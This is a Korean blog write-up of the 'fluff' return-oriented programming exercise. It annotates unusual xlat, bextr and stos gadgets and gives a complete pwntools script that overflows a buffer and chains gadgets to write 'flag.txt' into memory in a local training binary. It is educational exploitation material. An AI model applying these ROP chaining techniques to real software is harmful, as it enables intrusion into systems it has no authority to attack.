wyv3rn 2023. 7. 7. 18:04
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

questionableGadgets

   0x0000000000400628 <+0>:     xlat   %ds:(%rbx)
   0x0000000000400629 <+1>:     ret
   0x000000000040062a <+2>:     pop    %rdx
   0x000000000040062b <+3>:     pop    %rcx
   0x000000000040062c <+4>:     add    $0x3ef2,%rcx
   0x0000000000400633 <+11>:    bextr  %rdx,%rcx,%rbx
   0x0000000000400638 <+16>:    ret
   0x0000000000400639 <+17>:    stos   %al,%es:(%rdi)
   0x000000000040063a <+18>:    ret
   0x000000000040063b <+19>:    nopl   0x0(%rax,%rax,1)

2.2. 분석

마찬가지로 앞선 문제와 거의 대동소이하다.

다만, 이번에는 주어진 gadget이 뭔가 알 수 없는 어셈블리어이다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

buffer overflow

3.2. 공격 준비

개인적으로 어셈블리어를 다양하게 활용할 수 있겠다는 생각이 든 문제이다.

주어진 어셈블리어를 보면 아래와 같다.

   0x0000000000400628 <+0>:     xlat   %ds:(%rbx) #rbx + ds offset 위치의 값을 al에 넣는다.
   0x0000000000400629 <+1>:     ret
   0x000000000040062a <+2>:     pop    %rdx
   0x000000000040062b <+3>:     pop    %rcx
   0x000000000040062c <+4>:     add    $0x3ef2,%rcx
   0x0000000000400633 <+11>:    bextr  %rdx,%rcx,%rbx #특정 연산 이후 그 값을 rbx에 넣는다.
   0x0000000000400638 <+16>:    ret
   0x0000000000400639 <+17>:    stos   %al,%es:(%rdi) #rdi 위치에 al 값을 넣는다
   0x000000000040063a <+18>:    ret
   0x000000000040063b <+19>:    nopl   0x0(%rax,%rax,1)

사실 bextr가 어떻게 연산이 진행되는지 잘 모르겠다.

하지만, 전체적인 모양은

bextr를 통한 rbx에 참고할 string의 위치를 넣기

xlat을 통해 해당 값을 al에 넣기

pop rdi ret gadget으로 값을 삽입하기 위한 주소 넣기

stos를 통해 rdi에 al 값 쓰기

가 될 것이다.

이를 어떻게든 맞춰서 flag.txt를 만들어줬다.

 

4. exploit

from pwn import *

p = process('./fluff')

bss = 0x601100
test = 0x40062a
rdi = 0x4006a3
bextr = 0x40062a
stos = 0x400639
xlat = 0x400628

string = 0x4003c1

pay = b'A'*8*5
#f 66
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string+22-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss)
pay += p64(stos)
#
#l 6c
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*4+2-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+1)
pay += p64(stos)
#
#a 61
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*5+7 -0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+2)
pay += p64(stos)
#
#g 67
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50-3-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+3)
pay += p64(stos)
#
#. 2e
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*5-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+4)
pay += p64(stos)
#
#t 74
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x20+6-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+5)
pay += p64(stos)
#
#x 78
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x200+17-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+6)
pay += p64(stos)
#
#t 74
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+7)
pay += p64(stos)
pay += p64(rdi)
pay += p64(bss)
pay += p64(0x0000000000400620)
#

p.sendafter(b'> ',pay)

p.interactive()
728x90
반응형